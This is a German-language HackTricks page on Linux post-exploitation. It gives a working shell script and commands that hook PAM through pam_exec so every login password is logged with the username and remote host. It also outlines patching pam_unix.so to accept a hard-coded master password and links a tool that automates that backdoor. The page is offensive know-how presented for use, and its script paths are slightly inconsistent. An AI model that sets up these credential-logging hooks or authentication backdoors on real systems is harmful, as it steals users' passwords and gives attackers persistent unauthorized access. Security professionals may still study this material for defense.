Linux Post-Exploitation
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Sniffing Logon Passwords with PAM
Lass uns ein PAM-Modul konfigurieren, um jedes Passwort, das ein Benutzer zum Anmelden verwendet, zu protokollieren. Wenn du nicht weißt, was PAM ist, siehe:
PAM - Pluggable Authentication Modules
Für weitere Details siehe den originalen Beitrag. Dies ist nur eine Zusammenfassung:
Technikübersicht: Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit durch Anpassung der Anmeldeprozesse erhöhen, bergen jedoch auch Risiken, wenn sie missbraucht werden. Diese Zusammenfassung skizziert eine Technik zur Erfassung von Anmeldeinformationen mit PAM sowie Strategien zur Minderung.
Erfassung von Anmeldeinformationen:
- Ein Bash-Skript namens
toomanysecrets.sh
wird erstellt, um Anmeldeversuche zu protokollieren, wobei das Datum, der Benutzername ($PAM_USER
), das Passwort (über stdin) und die IP des Remote-Hosts ($PAM_RHOST
) in/var/log/toomanysecrets.log
erfasst werden. - Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (
common-auth
) mit dem Modulpam_exec.so
integriert, wobei Optionen verwendet werden, um leise zu laufen und das Authentifizierungstoken an das Skript weiterzugeben. - Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen diskret zu protokollieren.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Für weitere Details siehe den originalen Beitrag. Dies ist nur eine Zusammenfassung:
Das Pluggable Authentication Module (PAM) ist ein System, das unter Linux zur Benutzerauthentifizierung verwendet wird. Es basiert auf drei Hauptkonzepten: Benutzername, Passwort und Dienst. Konfigurationsdateien für jeden Dienst befinden sich im Verzeichnis /etc/pam.d/
, wo gemeinsame Bibliotheken die Authentifizierung verwalten.
Ziel: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort erfolgt, das das tatsächliche Benutzerpasswort umgeht. Dies konzentriert sich insbesondere auf die pam_unix.so
-Gemeinschaftsbibliothek, die von der Datei common-auth
verwendet wird, die von fast allen Diensten zur Passwortüberprüfung einbezogen wird.
Schritte zur Modifizierung von pam_unix.so
:
- Finden Sie die Authentifizierungsanweisung in der Datei
common-auth
:
- Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft
pam_unix.so
auf.
- Quellcode modifizieren:
- Fügen Sie eine Bedingung in der Quellcodedatei
pam_unix_auth.c
hinzu, die den Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird, andernfalls wird der übliche Authentifizierungsprozess fortgesetzt.
- Kompilieren und Ersetzen Sie die modifizierte
pam_unix.so
-Bibliothek im entsprechenden Verzeichnis. - Testen:
- Der Zugriff wird über verschiedene Dienste (Anmeldung, ssh, sudo, su, Bildschirmschoner) mit dem vordefinierten Passwort gewährt, während die normalen Authentifizierungsprozesse unbeeinflusst bleiben.
note
Sie können diesen Prozess automatisieren mit https://github.com/zephrax/linux-pam-backdoor
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.